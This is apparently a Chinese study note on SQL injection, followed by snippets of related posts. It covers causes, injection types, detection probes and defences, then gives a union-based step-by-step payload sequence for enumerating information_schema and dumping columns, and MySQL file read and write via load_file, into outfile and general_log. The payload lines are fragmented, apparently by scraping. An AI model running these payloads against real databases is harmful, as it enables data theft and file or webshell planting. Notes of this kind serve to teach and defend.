sql注入是一種將sql語句插入或新增到使用者輸入引數中,之後再將這些引數傳遞給後台的sql伺服器加以解析並執行
(1) 對使用者的輸入的資料，沒有進行過濾，被帶到了資料庫中去執行，造成了sql注入。
(2) 程式編寫者在處理程式與資料庫互動時,使用字串拼接的方式構造sql語句
(1) 按資料型別分
a) 整形注入（不需要閉合,不需要注釋符號）
b) 字元型注入（需要閉合,需要注釋符號）
a) 聯合查詢注入
b) 報錯注入
c) 布林型注入
d) 延時注入
e) 多語句注入
(2) 單引號判斷 『 顯示資料庫錯誤資訊或者頁面回顯不同（整形，字串型別判斷）
(3) \ (轉義符)
(4) -1/+1 回顯下乙個或上乙個頁面（整型判斷）
(5) and sleep(5) (判斷頁面返回時間)
任何客戶端可控，傳遞到伺服器且和資料庫進行互動的變數，都有可能存在sql注入
(1) 對進入資料庫的特殊字元（單引號，雙引號，尖括號等）進行轉換或編碼轉換。
(2) 不要使用動態拼裝sql，可以使用引數化的sql或者直接使用儲存過程進行資料查詢訪問。
(3) 不要使用管理員許可權的資料庫連線，為每個應用使用單獨的許可權有限的資料庫連線。
(4) 應用的異常資訊應該給出盡可能少的提示，最好使用自定義的錯誤資訊對原始錯誤資訊進行包裝
聯合查詢可以將兩個或兩個以上的select語句的查詢結果集合合併成乙個結果集合顯示
限制條件:
union必須由兩條或兩條以上的select語句組成
語句之間用關鍵字union分隔
union中的每個查詢必須包含相同的列
(1) 注入型別判斷
整型注入/字元型注入order
by(折半找)
union
select1,
2,3,
4....
...
union
select1,
database()
,3,.
....
union
select1,
count(*
),3,
4,..
..from
`information_schema.
tables
`where
`table_schema`
=database()
;`
union
select
1,group_concat(
`table_name`),
3,4,
....
from
`information_schema.
tables
`where
`table_name`
=database()
;
union
select1,
count(*
),3,
4,..
..from
`information_schema.
columns
`where
`table_name`
='users'
`table_schema`
=database()
;
union
select
1,group_concat(
`column_name`),
3,4,
....
from
`information_schema.
columns
`where
`table_name`
='users'
`table_schema`
=database()
;
union
select
1,group_concat(concat(欄位名, 欄位名,..
.)),
3,4,
...from表名
my.ini 配置 privileges
secure_file_priv=
select load_file('檔名');
（2）寫檔案
select 1 into outfile '檔名;（不支援二進位制）
select 1 into dumpfile '檔名;（支援二進位制）
（3）寫日誌
select @@general_log; 查詢日誌狀態
set global general_log = on; 設定日誌記錄為開啟
set global geenral_log_file = '檔名' 設定日誌檔案路徑
sql_labsql注入（筆記）
一般注入，select注入 1.注釋符號 2.過濾空格注入 使用 或 或 代替空格 0c form feed,new page 09 horizontal tab 0d carriage return 0a line feed,new line3.多條顯示 concat group concat c...
sql注入筆記
sql注入sql注入 盲注 1.判斷是否存在注入，注入是字元型還是數字型 2.猜解當前資料庫名 3.猜解資料庫中的表名 4.猜解表中的欄位名 5.猜解資料 sql注入步驟 開始攻擊 一般用於試驗的字串是 1 and 1 2 會導致查詢結果為空 輸入 1 or 1234 1234，確認是否有漏洞。如果...
sql注入筆記
1.什麼是sql注入 sql注入是將sql 新增到輸入引數中，傳遞sql伺服器解析並執行的一種攻擊手法。sql引數未經過濾直接拼接到sql語句當中，解析執行，到達預想之外的效果 sql select from where id 1 or 1 1 or 1 1 條件查詢整張表的 2.sql注入是怎麼產...